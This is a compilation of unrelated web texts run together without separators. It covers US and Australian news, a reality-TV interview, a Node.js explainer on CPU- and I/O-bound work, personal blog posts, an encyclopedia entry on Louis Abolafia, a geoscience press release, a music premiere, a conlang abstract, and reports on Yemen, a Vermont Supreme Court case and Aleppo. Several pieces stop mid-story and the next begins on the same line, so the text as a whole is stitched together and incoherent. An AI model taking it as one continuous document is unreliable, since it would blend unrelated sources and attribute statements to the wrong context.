According to the Times, dozens of protesters associated with the movement began chanting “black lives matter” during the event with their hand raised. Two other demonstrators were kicked out at the start of the town hall when they used the same chant. The progressive Netroots Nation conference stated on its Facebook page late Wednesday night that the group also contained Planned Parenthood supporters and immigration activists.
Some supporters of the former Florida governor reportedly responded by chanting “white lives matter” and “all lives matter” at the group, while at least one Bush supporter and a protester traded obscene hand gestures.
Members of Bush’s campaign told the Times that he met with members of the movement earlier in the day to discuss reforming the criminal justice system and “barriers to upward mobility.”
Footage from the event also shows Bush being asked how he would address institutional racism within the US
“When my son steps out every day, I don’t know if he’s gonna step back in because of racial tension,” one woman says, before asking, “How do you relate to that?”
“I relate to it by, as president, trying to create a society where there is civility and understanding,” Bush responds. “And to encourage mayors, leaders at the local level, to engage so that there’s not despair and isolation in communities.”
He added, “With all due respect, a child that is
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of some bad throws.”
The Bombers are not only taking the ball away, but they’re making the other teams pay for it, too. They have turned their 27 takeaways into 71 points, which is two fewer than they produced all of last year on 37 turnovers. The defence has scored three touchdowns on its own.
“What we want to do is create opportunities for our offence to get on the field,” Hall said. “At the same time, when we get the ball we want to create opportunities for us to be offensive minded and to score.”There will be little to no relief from the heat come nightfall with the mercury expected to remain about 26 degrees in the evenings. "We're going to have hot days and hot nights as well," Bureau of Meteorology forecaster Dean Narramore said. Heavily-armed police officers on patrol for the G20 Leaders' Summit will work regularly rotating shifts across the weekend in a bid to avoid heatstroke. Authorities have also advised protesters to carry plenty of water with them. "It's obviously going to be very oppressive conditions for our officers and for protesters. It's far from ideal, but we will just have to deal with the circumstances that that are being presented to us," Deputy Police Commissioner Ross Barnett said.
"We'd obviously like it to be a lot cooler than that, but it's not going to be." However, Mr Narramore urged southern Queenslanders to spare a thought for their counterparts west of the Dividing Range. "We'll get a couple of hot days, but unfortunately for our inland friends, they're going to stay hot all week and possibly into next weekend as well," Mr Narramore said. The central Queensland town of Winton is expected to be the hottest in the state next week, with 44 degree-temperatures forecast for Monday, Tuesday and Wednesday. In Longreach, the mercury is expected to hit 41 degrees on Saturday, 42 degrees on Sunday and 43 degrees on Monday, Tuesday and Wednesday.
Mr Narramore said a very hot air mass sitting over central Australia and a surface trough moving over the southern states were responsible for the looming heatwave. "The trough is pulling down these hot northwesterly winds, which will drag that heat towards southeast Queensland," he said. "That trough will move through southeast Queensland on Monday and Tuesday, giving us some cooler winds. But it's going to stall over central Queenslander allowing that heat to build up." A severe fire danger warning has been issued for much of the state. Rural Fire Service assistant commissioner Neil Gallant urged residents to be extra vigilant.
"This is some of the hottest weather and highest fire danger Queensland has experienced this season," Mr Gallant said. "Under these conditions, very hot temperatures combined with low humidity and increased winds create dangerous fire conditions where fires may develop quickly, spread rapidly and become more intense." He said firefighters and police would remain on the lookout for arsonists and negligent landowners. "People should never throw cigarette butts out of the car window and always be careful when operating machinery in grassed areas," he said. Mr Gallant said landowners who had conducted hazard reduction burns recently were also strongly encouraged to ensure their fire had been properly extinguished.
"Landowners who have conducted burns must make sure residual fires are contained so that they will not escape," he said. Further information on bushfire preparation can be found at www.ruralfire.qld.gov.au.Six teams still remain on the hunt to win The Amazing Race 27, but a brand-new quest is about to begin for eleven new pairs of racers.
Season 28 of the Emmy-winning reality competition series will begin filming in just a few short days, featuring a cast of social media stars. CBS will announce the full cast later today (Nov. 11), but first, Parade can exclusively reveal two of the people heading into the race: Rooster Teeth hosts and couple Burnie Burns and Ashley Jenkins, key players in the video gaming community, and devoted fans of Amazing Race.
In a quick chat with Parade, Burnie and Ashley opened up about why they’re embarking on the race, why they think they’ll do well, and what they’re dreading in the weeks ahead. (Spoiler alert: It involves pizza.)
Tell us what drew you to The Amazing Race in the first place.
Burnie Burns: The Amazing Race has always been the gold standard of reality television to me. It’s smart, it’s funny and it’s entertaining as hell. Plus Ashley and I are life-long gamers. I have been playing video games since the Atari 2600 days. And Ashley started her career as a professional gamer. To us, The Amazing Race takes the whole world and turns it into a giant game. What could be better?
Ashley Jenkins: I love traveling and I can’t think of anyone better than Burnie to see the world with. There’s nothing like The Amazing Race. We couldn’t pay for a vacation like this with all the money in the world. Pitting ourselves against the other teams to see who can travel best brings out my competitive spirit.
What are your expectations right now, in this short time before you head into the race?
Burnie: Ashley and I have done a ton of prep for the show. We have been studying the game and training for what we hope to encounter. However, there’s no way to tell what we are going to come up against. We’ve seen hundreds of episodes and there are always new challenges that we didn’t anticipate. So our expectation is that our preparation will set us on the right course, but there are surely some surprises to come.
Ashley: My chief expectation is to learn quickly how much harder the competition is than it looks on TV. It’s easy to think we’ll excel, but it will take more than wanting it to get us to the top. At this point, lots of teams show up with an understanding of the game. Every season, being a stand out competitor gets harder and harder.
How have you been preparing for the adventure?
Ashley: I’m a gamer so I’m used to a slightly less active lifestyle but that’s not going to get me through the challenges ahead, so I’ve been hitting the gym and running to build muscle mass and endurance. I can almost do a push up now! Big progress.
Burnie: Endurance training has been a constant activity in our lives since we learned we were going to be on the show. We have been whittling our packs’ weight down slowly but surely. We don’t think we will have the lightest pack in the history of the show (Abba from Season 21 says his was under 10 lbs), but we will get close. And I don’t think we are sacrificing much for losing that weight. We might wear the same pair of underwear a few dozen times, but that’s just how it goes.
As many former contestants on the show say, “We aren’t here to make friends.” Our packing choices pretty much guarantee that will be true.
How do you feel the Rooster Teeth community will fuel you during the race?
Burnie: It’s hard to say. We don’t think we will have any access to the Internet at any point and that’s where our audience lives. We definitely feel as though we are representing literally millions of people in the Rooster Teeth community. It will be hard to give up on anything with that many people cheering us on.
Ashley: Every time the going gets hard we’ll be able to think of the millions of Rooster Teeth fans who will be supporting us, and with that kind of pressure there’s no way we can let ourselves do less than our best. We hope they’re as excited as we are that we’re doing the race.
Tell us about your relationship. How you think you’ll work together as a team in the situations ahead?
Burnie: Ash and I complement each other very well. I tend to be a little more bullish and she’s as level-headed as they come. We will be fine as long as I don’t lose my patience and as long as she doesn’t get hungry. When she gets hungry, all bets are off. I learned a long time ago to keep her well fed. I think half my pack weight is snacks for her. It’s like I’m carrying a soccer mom’s purse on my back.
Ashley: I think we’re a great team. We know how to buckle down and get things done in a crisis and leave the panic for later. I’m stubborn, sometimes to the point of not knowing when to give in, and Burnie keeps me balanced. And he keeps me fed, which is the big thing, really.
Any major fears about what’s ahead?
Burnie: I’m personally worried about dumb mistakes like missing a sign or misreading a clue. Those errors seem easy to make when you are sleep deprived and road weary. We will have to be careful not to get tunnel vision. I’m also afraid of the show’s producers reading interviews to see what we are most afraid of and then using that against us during the race. So keeping that in mind, my biggest fears are massages and pizza.
Ashley: My outlook on fear is that it’s something you have to deal with. You can’t let it stop you. That’s why I haven’t let my distaste for falling stop me from jumping out of perfectly good planes, and we’re both going to have to go full throttle in this race and charge through every challenge that presents itself. As long as I don’t wet myself, I think I’ll be ok.
Plant the flag now, and tell us why you’re going to win this thing.
Ashley: Burnie and I are older than most people in our profession, so we’re used to having extra experience on our side, and we’re past trusting our youthful energy to see us through anything. We favor preparation more than luck, and I think that will be a key component to doing well in this race.
Burnie: I think I might be one of the oldest contestants in this season, unless someone brings a parent. I lived a significant portion of my life before the Internet and smart phones. Most people under thirty have not. The first few legs of the race might have the rest of the teams going through some serious data withdrawal symptoms. We might even lose a team or two that will drop out just to check the likes on their last Instagram photo.
Plus, I have a great teammate. She’s rock solid and does not fluster easily. And male/female teams win 54% of the time. How can we lose? Don’t answer that!
Stay tuned for more updates about The Amazing Race 28.You may have heard that Node.js is good for I/O-bound applications. And the commonly mentioned counterpart is the CPU-bound application. You may have wondered what do these terms actually mean.
"What do the terms 'CPU bound' and 'I/O bound' mean?"
Let's find out.
Bound implies performance bottleneck
Computation is said to be bound by something, when that resource is the bottleneck for achieving performance increase. When trying to figure out if your program is CPU, memory or I/O bound you can think the following. By increasing which resource would your program perform better? Does increasing CPU performance increase the performance of your program? Memory, hard disk speed or network connection? All of these questions lead you to right to the source, of which resource your program is being held up on.
I/O bound
I/O-bound application waits most of the time for network, filesystem and database.
This is the case for typical Node.js web server application. Majority of the time is spent waiting for network, filesystem and perhaps database I/O to complete. Increasing hard disk speed or network connection improves the overall performance.
In its most basic form Node.js is best suited for this type of computing. All I/O in Node.js is non-blocking and it allows other requests to be served while waiting for a particular read or write to complete.
CPU bound
An example of CPU bound application would be a service that calculates SHA-1 checksums. Majority of the time is spent crunching the hash - doing large amount of bitwise xors and shifts for the input string.
This kind of application leads to trouble in Node.js. If the application spends too much time performing CPU intensive task all other requests are being held up. Node.js runs a single threaded event loop to concurrently advance many computations, for example serving multiple incoming HTTP requests. This works well as long as all event handlers are small and yet wait for more events themselves. But if you perform CPU intensive calculation your concurrent web server Node.js application will come to a screeching halt. Other incoming requests will wait as only one request is being served at a time - not a very good service.
There are strategies to coping with CPU intensive tasks. You can separate the calculation to elsewhere - forking a child process or using cluster module, using low level worker thread from libuv or creating a separate service. If you still want to do it in the main thread, the least you can do is give the execution back to the event loop frequently with setImmediate().
Not every Node.js program needs high level of concurrency. When running popular task runner grunt for example, it doesn't really matter if something is CPU intensive or not. Sure it may take time, but in the end it's only serving one user: the one sitting in front of the monitor.
In the end
A typical healthy Node.js server application is I/O bound. That is what Node.js was designed for and handles well using the single-threaded event loop. CPU bound tasks cause trouble if not handled correctly - by yielding execution frequently back to the event loop or moving it to another thread, process or service. There also exists other classifications that we did not touch here such as memory-bound or cache-bound.
Related articlesIt’s extremely common for a married couple to be comprised of one outgoing/extroverted person and another who is more introverted. My marriage is no exception, with me being the introverted one (as most writers are), and my hubby on the far extreme of extroverted.
I didn’t expect this to cause much conflict when I got married, but in fact this difference affects how you each wish to plan your days, your weekends, your vacations—pretty much your lives. That means, while I would love to be reading alone or taking a solitary walk to recharge my batteries, I host large or small groups of people in our home on a regular basis, because that’s what recharges my husband’s batteries. To be honest, I generally enjoy these gatherings and love our friends, but they require much more energy from me than for him. (I also have higher housekeeping standards, but that’s another post entirely.)
What defines an introvert or extrovert anyway? Introverts refuel their energy by spending time alone, while extroverts become fired up and energized when they are socializing with others. One can exhibit different personality traits depending on the situation. For instance, you may be introverted in a group of strangers, but extroverted at home with friends and family. Introverts generally have a longer attention span, are more private and less aggressive. Not all introverts are shy; they just don’t enjoy or thrive on social situations as extroverts do.
I’m fairly social for an introvert (partly because of who I married), but I can’t change my brain’s biology. Introverts and extroverts have different brain wiring then extroverts. Brain scans have shown that introverts have more blood flow to their brains than extroverts. In addition, they showed different pathways for the blood flow in the brain, with introverts showing a longer and more complicated path when involving internal experiences (i.e. problem solving). Extroverts’ brain scans showed their blood flow was shorter, less complicated and traveled to different areas. Clearly, introverts respond to internal stimulation, while extroverts respond to external stimuli.1
So, with the understanding that we can’t change one another, how can we best manage the disparity? It’s best to respect your differences, and negotiate or compromise when you disagree on events or schedules. My very spontaneous, social husband understands that he should check with me before inviting people over, because sometimes I’m just not up for it. And I understand that being social is part of who he is, so I encourage and make room in my life for that. We help balance one another. However, during the first five or more years of marriage, we were still figuring this out and wondering why the other person didn’t want to do what we did.
In most of the interviews I’ve done with happily married couples, one person has been introverted while the other is extroverted. They also had to learn to adjust to these differences over time through trial and error. Maybe one person leaves church or a party early, so the other can linger and talk. Or, one spouse takes more frequent outings with friends and allows his or her partner some time at home to rejuvenate. Resist the urge to separate your lives too much; we need to be involved in one another’s interests and friends—to be attentive, caring and interested. Read Pour Love on Your Spouse.
I’m glad I married someone different from me, because it stretches me out of my comfort zone. Maybe I even cause my partner to become more reflective at times. I think we are more interesting and better people as a result of our balancing act.
I’m curious… whether are engaged, dating or married, do you and your partner have different social tendencies? If so, how you have learned to negotiate that landscape? If they are the same, does it make you more compatible?
1 Source: Marti Olsen Laney, Psy.D., The Introvert Advantage (New York: Workman Publishers)
AdvertisementsBarking up the wrong tree:
So why don’t men wear high heels? Obviously the immediate reason is to avoid looking like women, since women wear them. But there are all sorts of things that both men and women do without men becoming sullied by girliness (for instance wearing high heels at other times in history). And why didn’t men get in first and claim high heels for manliness, if they should benefit from it so much? We would be puzzled if in another culture men were the only ones with push up bras, because push up bras were too manly for women to wear.
Even with the danger of looking like a girl in proper high heels, isn’t there a temptation to get men’s shoes with a tiny bit higher heel than usual? Maybe just $10,00 worth of income’s heel? Presumably there is some heel increase that wouldn’t stand out as effeminate. And when that’s commonplace, wouldn’t it be tempting to add a tiny bit more? If height is such an advantage to men, and the danger of girliness shouldn’t stop a gradual increase, what’s the barrier?
Note: I removed the possibility of trackbacks to this post because it was receiving more filter evading spam than I could be bothered looking at.Intelligence reports show then-President Elect Donald Trump and his transition team may have been monitored by agencies in the weeks after the election via “incidental collection,” a top Republican revealed in a press conference Wednesday afternoon.
“I have seen intelligence reports that clearly show that the President-elect and his team were, I guess, at least monitored,” House Intelligence Chairman Rep. Devin Nunes (R-California), said.
Nunes explained “incidental collection” of information regarding the President-elect and his team occurred primarily in November through January according to reports.
.@devingnunes: "I have seen intelligence reports that clearly show that the President-elect and his team were, I guess, at least monitored…" pic.twitter.com/wCxJu3irPZ — CSPAN (@cspan) March 22, 2017
Nunes comments come off the heels of FBI Director James Comey’s testimony before Congress on Monday, during which he stated there was “no information” to confirm Donald Trump’s claims that he had been wiretapped by former President Barack Obama.
“I believe it was all obtained legally,” he said.
The question is why was it unmasked if it was unmasked, and then who was on the dissemination list and why was the list so broad? he added.
The Republican congressman said there was nothing about Russia or the investigation of the Trump team’s ties to Russian officials in the reports he saw.
Nunes said a report detailing these claims will be released on Friday with help from the NSA, but that he was doubtful the FBI would be as cooperative.
“So far the FBI has not told us whether or not they’re going to respond to our March 15th letter which is now a couple weeks old,” he said in a briefing outside of the White House.
During a meeting with the Congressional Black Caucus, a reporter asked the president if he felt “vindicated” by Nunes’s announcement.
“I somewhat do,” Trump said.
UPDATE: Some of the communications incidentally collected were reportedly of individuals on the transition team talking about the Trump family, CNN reported.Louis Abafolia holding a campaign-related sign during his run for the United States Presidency.
Louis Abolafia (February 23, 1941 – October 30, 1995[1]) was an artist, social activist, and folk figure. His candidacy for President of the United States under the Nudist Party[2] on the Hippie 'Love Ticket' various times in the 1960s and onward was a form of political theater or performance art. He "ran" against Richard Nixon in 1968 as the naked Hippie "love candidate" with the slogan: "What Have I Got To Hide?" Abolafia had previously run in 1967 under the Cosmic Love Party, even then with the slogan "What Have I Got To Hide?"[3]
The son of a New York City florist, Abolafia was part of the Greenwich Village art scene in the 1960s. In this capacity, he organized "love-ins" and "happenings" that combined music, poetry and audience participation, inspiring the New York press to crown him "The Love King". He was a long-time resident of the Lower East Side, where he sheltered wayward youths and other transients in his storefront studio in the East Village.[4] He published a pornographic/countercultural newspaper, Abolafia's Luv, and had several art exhibitions between 1967-70. He befriended a number of 1960s artistic luminaries, including Bob Dylan,[4] artist Yayoi Kusama,[5] Beat poet Allen Ginsberg, Andy Warhol (and other Factory hangers-on), Canadian socialite Margaret Trudeau, and Satsvarūpa Dāsa Gosvāmī, a senior disciple of A. C. Bhaktivedanta Swami Prabhupada, the founder of the Hare Krishna movement.[citation needed]
A 1968 Campaign Poster
Abolafia inspired the creation of the Exotic Erotic Ball in 1979 in San Francisco, which was held annually for more than three decades until it was canceled in 2010. In press materials for the first Ball, which was held as a campaign fundraiser for Abolafia, he was claimed to have coined the phrase, "Make love, not war!", though the attribution is disputed.[6]
He was a "descendent of the Abolafias—writers of the Kabbala"[7]
Death [ edit ]
Louis Abolafia died of a drug overdose in 1995 in California, aged 54.[8]
References [ edit ]Blacksburg, Va. -- The ubiquity of mineral nanoparticles in natural waters, the atmosphere, and in soils and their intriguing properties provide Earth scientists with another dimension in which to understand our planet.
So states a team of scientists from seven universities in a review article in the March 21, 2008, issue of Science, "Nanominerals, Mineral Nanoparticles, and Earth Chemistry."
The way minerals influence earth is more complex than previously thought. Physical, chemical, and biological processes on Earth are either influenced or driven by the physical and chemical properties of minerals, of which 4,500 species have been described. Minerals have an enormous range of physical and chemical properties due to a wide range of composition and structure, including particle size.
When the National Science Foundation wanted expert opinion on the important questions that need to be addressed in order to advance the understanding of nanoparticles in the environment, they contacted Michael Hochella Jr. to assemble a group of "cutting-edge young scientists with new ideas," he said. Hochella, university distinguished professor of geobiosciences at Virginia Tech, is a pioneer in the field whose research is funded by NSF, among others. "While we were together, we thought, why not write our study and submit it to Science," Hochella said.
"The article looks at the field, where it's come from, where it's going, and how it is going to change the way we think about geoscience and the world," he said. A perspective article is a great challenge to write, considering Science's limits on length and number of citations, he added.
The authors are Hochella; his former Ph.D. students Steven K. Lower, now a professor in the School of Earth Sciences and School of Environment and Natural Resources at the Ohio State University, and Patricia A. Maurice, now professor of civil engineering and geological sciences and director of the Center for Environmental Sciences and Technology at the University of Notre Dame; along with R. Lee Penn assistant professor of chemistry at the University of Minnesota; Nita Sahai, associate professor of geology and geophysics at the University of Wisconsin-Madison; Donald L. Sparks, chair of plant and soil sciences and professor in three departments at the University of Delaware; and Benjamin S. Twining, assistant professor of chemistry and biochemistry at the University of South Carolina.
Minerals, it is generally agreed, are naturally occurring crystalline substances having a characteristic and defined chemical composition. Each mineral expresses a set of specific physical and chemical properties. In addition, nanominerals have one critical difference. They express a range of physical and chemical properties depending on their size and shape.
"This difference changes our view of the diversity and complexity of minerals and how they influence Earth systems," Hochella said.
Where nanominerals are
Nanominerals are widely distributed throughout the atmosphere, oceans, surface and ground waters, and soils, and in most living organisms, and even within proteins.
Oceans may be the principal reservoir, since they cover 70 percent of the Earth's surface. There, nanominerals can come from processes associated with both living and non-living things, Hochella said. "Every mineral goes through a nanophase stage as it begins to grow. If they begin to grow at many sites, but don't continue to grow much after they form, you will end up with a lot of them and they may persist."
In addition to growth and weathering, mineral nanoparticles can be generated from mechanical grinding. One of the most interesting and important places where this happens is along earthquake-generating faults in the Earth's crust, reported by several researchers cited in the review.
There is a distinction between clusters of atoms and nanoparticles, Hochella said. "The difference seems to be that clusters start to approach the size of the smallest nanoparticles, but the atoms in many of these small clusters are not packed very tightly together. They are not dense. The nanoparticles represent a much denser packing of atoms, more like a real mineral, or at least approaching the atomic packing density of a larger mineral."
The essence of nanoscience is observing, measuring, and understanding the variations of properties and reactivities as a function of size and shape. Structural variations that respond to size change or surface area change may include expansion and contraction of bonds, changes in bond angles, and variations in population and distribution of vacancies and other defects such as steps, kinks, edges, and corners. In the smallest nanoparticles, this results in a redistribution of electronic structure that affects reaction characteristics with the outside world. Measurement of these aspects remains a great challenge and priority for future mineralogists, the authors note.
The size at which properties and reactivities change can be measured and depends upon the mineral, whether it is a metal, semiconductor, or insulator, and on the property being measured, whether optical, mechanical, or electrical.
Chemical interactions also change. For example, seven nanometer hematite -- a common iron oxide mineral -- catalyzes the oxidation of manganese ions (Mn2+) one to two orders of magnitude faster than does a 37-nanometer hematite crystal, resulting in the rapid formation of the manganese oxide minerals that are important heavy metal sorbants in water and soils.
Thermodynamic considerations in the nano-range are just as critical to predicting whether a biogeochemical reaction will occur. In the smallest particles, surface energies can dominate and dictate which structure of a mineral will be stable. Solubility's of nanophases are also different than their larger counterparts. "But experiments have shown that nanoparticles may or may not be more soluble than larger particles," Hochella said.
How nanoparticles influence earth chemistry
An example of the impact of nanoparticles is how they nurture ocean-dwelling phytoplankton, which removes carbon dioxide from the atmosphere. Phytoplankton growth is limited by iron availability, the authors report, citing research by J. Wu, E. Boyle, W. Sunda, L.S. Wen, and B.A. Berquist in two articles from 2001 and 2007. Iron in the ocean is composed of nanocolloids, nanominerals, and mineral nanoparticles, which is supplied by rivers, glaciers, and atmospheric deposition. Nanoscale reactions resulting in the formation of phytoplankton biominerals such as calcium carbonate are also important influences on oceanic and global carbon cycling.
Another example is the movement of harmful heavy metals in the Earth's critical zone. In ongoing research at the Clark Fork River Superfund Complex in Montana, Hochella's group discovered a nanocrystalline vernadite-like mineral (a manganese oxyhydroxide) involved in the movement of lead, arsenic, copper, and zinc hundred of miles in the river drainage basin. Radionuclides can also be moved, the review reports. Research by A.P. Novikov (2006) at one of the most contaminated nuclear sites in the world, a nuclear waste reprocessing plant in Mayak, Russian, has shown that plutonium has traveled in local groundwater, carried by nanoparticles of less than 15 nanometers.
In the atmosphere, nanoparticles impact heating and cooling. The characteristics of atmospheric nanoparticles is critical and is now being studied by a large number of scientists. One observation is that such particles act as water drop growth centers, which is critical to cloud formation. The size and density of droplets dictates solar radiation scattering ability and cloud longevity, which influence average global temperatures.
The authors conclude that "The biogeochemical and ecological impacts of natural and synthetic nanomaterials is one of the fastest growing areas of research today, with not only vital scientific, but also large environmental, economic, and political consequences".
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Learn more about the Hochella group at www.geochem.geos.vt.edu/hochella/Let's Really Open Up This Pit: Hear Turnstile's 'Move Thru Me' EP
Enlarge this image toggle caption Farrah Skeiky/Courtesy of the artist Farrah Skeiky/Courtesy of the artist
It was way below freezing outside, a couple weeks before the holidays — the kind of cold that requires layers of long sleeves and flannel beneath your jacket. But in the basement of Songbyrd Music House in Washington, D.C., a swirling mass of hardcore kids leapt through the air, sweat flopping off heavy cotton since they had nowhere to stash their Bane and Judge hoodies. Heads narrowly avoided metal poles in a underworld dance of thrown elbows and knee-pumping swarm. Welcome to the gleeful insanity of a Turnstile show.
To love Turnstile — born in the suburbs of D.C. and Baltimore, with an assist from Columbus, Ohio — is to know and accept the big, dumb riffs of bands like Rage Against The Machine, Shelter and even 311. Last year's Nonstop Feeling built off the band's singles and EPs, splitting the difference between an aggressive hardcore-punk mentality and a mile-wide-grin melodic sensibility — and, more importantly, playing with its '90s roots.
Before Turnstile begins work on its debut album for Roadrunner Records, the band's releasing an EP on its own label, Pop Wig. This is the freewheeling and heavy hardcore the band's honed to great effect in such a short time, with shout-along choruses and grooves that do more than just open up the pit.
"It felt really good making these songs," the band tells NPR. "There's so many inspiring individuals creating things or just being humans, and this singles EP was just a reflection on the importance of letting those things or people just inspire you and experiencing things fully; no physical, sexual, musical genre, world barriers."
We're premiering the B-side of the Move Thru Me EP, and for convenience's sake, the A-side is right below it. The EP closes with a cover of Give's "F*** Me Blind," featuring Petal's Kiley Lotz on backing vocals; it's a raucously heavy and fun track about breaking down societal notions on gender and sexual norms. The band adds, "Give from Washington, D.C., rocks ass."
Move Thru Me comes out Sept. 16 on Pop Wig. Turnstile goes on tour in late October.June 1, 2016 — Fiat Lingua
Étienne Ljóni Poisson graduated from undergraduate studies in Icelandic, Finnish and linguistics from the University of Iceland in 2011, and is currently finishing a BS in organic chemistry and biochemistry from the same university. During his studies he began to systematically describe Siwa, his conlang project which he is still working on to this day. Siwa’s descriptive grammar is one of the most thorough descriptions of a conlang available in English.
Étienne speaks French, English, Icelandic, and Finnish fluently and is currently studying Georgian and Northern Sámi.
Abstract
Siwa is an a priori conlang set in pre-Columbian Quebec whose protolanguage emerged at the end of the last glacial maximum in Europe and subsequently migrated to North America. In this essay, a component of verbal morphology is described which has not been identified in natural languages, though it may be likened to Japanese counter words. Absolutive descriptives are monosyllabic infixes that add directly to verb stems and add information about the absolutive argument. Interestingly, Siwa is an active-stative language and does not display ergative-absolutive alignment. The article is part of the language’s complete grammatical description, A Descriptive Grammar of Siwa.
Version History
This work is licensed under a Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported License.In Yemen, a Saudi War Fought With U.S. Help
The unexploded cluster bombs are an increasingly common sight in Yemen’s farms and small villages, a visible reminder of Saudi Arabia’s continuing air war there – and of Washington’s large but little-known role in arming and fueling Riyadh’s warplanes.
When the Saudi-led coalition of Sunni Arab nations began their bombing campaign against the Iranian-backed Houthi rebel movement in March, the allies promised a quick, sharp air war to push the rebels out of the capital city of Sanaa. But eight months later, the fighting has only intensified. First, ground troops from Saudi Arabia and the United Arab Emirates stormed into the country in U.S.-made armored vehicles as part of a push to blunt perceived Iranian influence in the region and return ousted President Abed Rabbo Mansour Hadi to power. Those troops were later joined by hundreds of soldiers from Egypt, Qatar and Sudan.
While the fighting on the ground has been intense, it is the air war that has caused the most destruction, with warplanes circling Sanaa and the small villages throughout the country looking for military targets, but too often hitting civilians instead. The United Nations estimates that the war has resulted in the deaths of over 2,500 civilians, including hundreds of women and children.
A top Royal Saudi Air Force general recently insisted that his country is “sticking to the rules, the international rules and Geneva Convention, first, and law of conflict.” Despite the rising civilian death toll, “we don’t target civilians,” he said.
Riyadh has come under fierce criticism from outside human rights groups, who have charged the country’s air force of bombing civilian targets without investigating afterward, or admitting responsibility. “The obligation of any warring party is to conduct a serious investigation” into charges of civilian deaths said Joe Stork, Middle East and North Africa deputy director for Human Rights Watch. “The Saudis have simply not done that.”
But some of that blame should land at Washington’s feet: the daily bombing campaign would not be possible without the constant presence of U.S. Air Force tanker planes refueling coalition jets, and the billions worth of precision-guided munitions sold to Riyadh and its allies by American defense contractors.
American planes began taking off in support of the campaign on April 5, less than two weeks after the bombs started falling in Yemen in late March. As of Nov. 13, U.S. tankers have flown 471 refueling sorties to top off the tanks of coalition warplanes 2,443 times, according to numbers provided by the Defense Department. The American flights have totaled approximately 3,926 flying hours while delivering over 17 million lbs. of fuel.
The mostly American-made fighter planes guided by Arab pilots are also primarily dropping American-made munitions, bolstered recently by the $1.29 billion in weaponry Washington agreed to sell Saudi Arabia. The sale includes 22,000 bombs, featuring 1,000 laser guided bombs, and over 5,000 “kits” that can transform older bombs into GPS-guided bombs.
Despite the civilian toll from the airstrikes, top U.S. military officials haven’t shied away from talking about their involvement in planning the war. American military personnel are currently working out of a Saudi Arabian planning center helping the Saudis plan the daily airstrikes and providing intelligence help to coordinate flights, Lt. Gen. Charles Q. Brown Jr., the commander of the U.S. Air Force’s Central Command, told an audience earlier this month at the Dubai Air Show.
The Obama administration, meanwhile, has stood solidly behind its Gulf allies. Earlier this month, State Department spokesman Mark Toner said “the reason the Saudis are there conducting these airstrikes is because of the ongoing violence stoked by Houthi rebels.” He acknowledged that the strikes have resulted in civilian casualties but stopped short of holding any single party responsible, saying that U.S. policy makers “always call for restraint in conducting these kinds of airstrikes” when they are near civilian areas.
The air campaign, and the civilian fallout, has been a black eye for Washington, however. Just weeks after an American AC-130 gunship struck a Doctors Without Borders hospital in Kunduz, Afghanistan, killing 14 of the aid group’s staffers, a suspected Saudi jet struck another Doctors Without Borders hospital in Yemen. And while the group says no one was killed in the Oct. 26 incident, the destruction of the hospital will likely leave up to 200,000 Yemenis without health care. While Riyadh denied responsibility for the air
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industry, immediately challenged the law in court, and won. The state then appealed to the Supreme Court, which hears arguments in the case Tuesday.
The Two Arguments
The data miners will tell the justices that the law unconstitutionally impedes free speech. "Vermont can't try and keep information out of the hands of doctors and nurse practitioners that's truthful and incredibly important about the health and safety of prescription drugs," says the industry's lawyer, Thomas Goldstein.
But Vermont counters that its law stops no one from speaking. Assistant Attorney General Bridget Asay will tell the justices that the state's law "doesn't do anything to stop pharmaceutical manufacturers from sending their salespeople to doctors" or from telling doctors "why they think their products are better, or are more effective, or worth the money."
This isn't a case about the right of free speech, she says. It's about "whether doctors have a right to control the use of their prescribing information against an unwanted marketing practice."
Goldstein counters that there is more at stake here because the state allows insurers and its own Medicaid managers to have access to prescribing information, while barring the same information from data miners and pharmaceutical manufacturers. The Constitution, he maintains, does not allow the state to "play favorites in this way."
"Vermont can and does encourage doctors to use generics," Goldstein says. "But what it can't do is at the same time tie the hands of the people who want to convey the opposite message."
But Asay replies that insurers and state Medicaid managers do not buy their information from pharmacies and data vendors. She says they get the information directly from doctors and patients as part of managing benefits.
The pharmaceutical industry, with an army of thousands of salespeople, spends at least $8 billion each year marketing drugs in person to doctors. It is a system that has proven highly resistant to change, despite criticism from experts such as Philip Pizzo, dean of Stanford University School of Medicine.
"Given today's information technology, there is no reason why information about new drugs, side effects or drugs in general needs to come from marketing reps," Pizzo said during a 2006 discussion of medical ethics at the Cleveland Clinic. And Roy Vagelos, a former CEO of Merck, said his attempts to use technology for marketing to doctors had failed, largely because of opposition from the very sales reps who make their living selling pharmaceuticals to doctors.
Larger Implications
Tuesday's case, however, extends far beyond the pharmaceutical industry, with larger implications for the data mining industry and for consumers in general.
Lawyer Goldstein describes the issue from the industry perspective, arguing that "if Vermont is right that the collection and manipulation of data isn't free speech, then the government can regulate it however it wants." He says that even data mining for nonmarketing purposes, such as news reporting and analysis, could be in danger.
But Vermont's Asay takes the opposite view. If the Supreme Court says a pharmacy has a First Amendment right to sell the information it collects from its patients and doctors, she says, "that ruling would extend... to other businesses that also collect personal information from consumers, like banks and other financial institutions, other health care organizations, tracking on the Internet, and credit card purchasing information."
Indeed, there are countless companies that collect and sell consumers' personal information, and Tuesday's Supreme Court case is the first to test the limits of that practice.A Syrian rebel alliance has announced the start of a battle to recapture the whole of Aleppo, a day after it broke a government siege on the rebel-held half of the city.
The Army of Conquest, a coalition of rebel groups including Jabhat Fatah al-Sham (formerly the al-Nusra Front), said in a statement on Sunday that it would "double the number of fighters for this next battle".
"We announce the start of a new phase to liberate all of Aleppo," the group said. "We will not rest until we raise the flag of the conquest over Aleppo's citadel."
Footage obtained by Al Jazeera showed rebel fighters at government checkpoints on Saturday after breaking the month-long siege on the rebel-held eastern neighbourhoods of the city in a major setback for the forces of President Bashar al-Assad.
READ MORE: 'Chlorine gas dropped on Idlib town'
A convoy of rebel pick-up trucks entered the city's opposition areas through a newly opened route on Sunday, bringing food aid for some of the 300,000 residents who had been trapped inside.
The breaking of the siege triggered celebrations in Aleppo's eastern districts, but fierce fighting and continuous Russian and Syrian air strikes in and around the Ramosa district prevented safe passage for residents.
Rami Abdel Rahman, head of the Britain-based Syrian Observatory for Human Rights (SOHR), said it was one of the most significant defeats for the government since the conflict erupted in March 2011.
Fears grew on Sunday in the government-controlled western half of the city of food and fuel shortages as rebels attempted to surround it.
Large rebel operation
Rebels on Saturday pushed northeast into Ramosa where they linked up with fighters who had been inside the city.
"After a large-scale military operation carried out in six stages, the Conquest Army managed to put an end to the siege," Al Jazeera's Amro Halabi, reporting from the rebel-held half of the city, said.
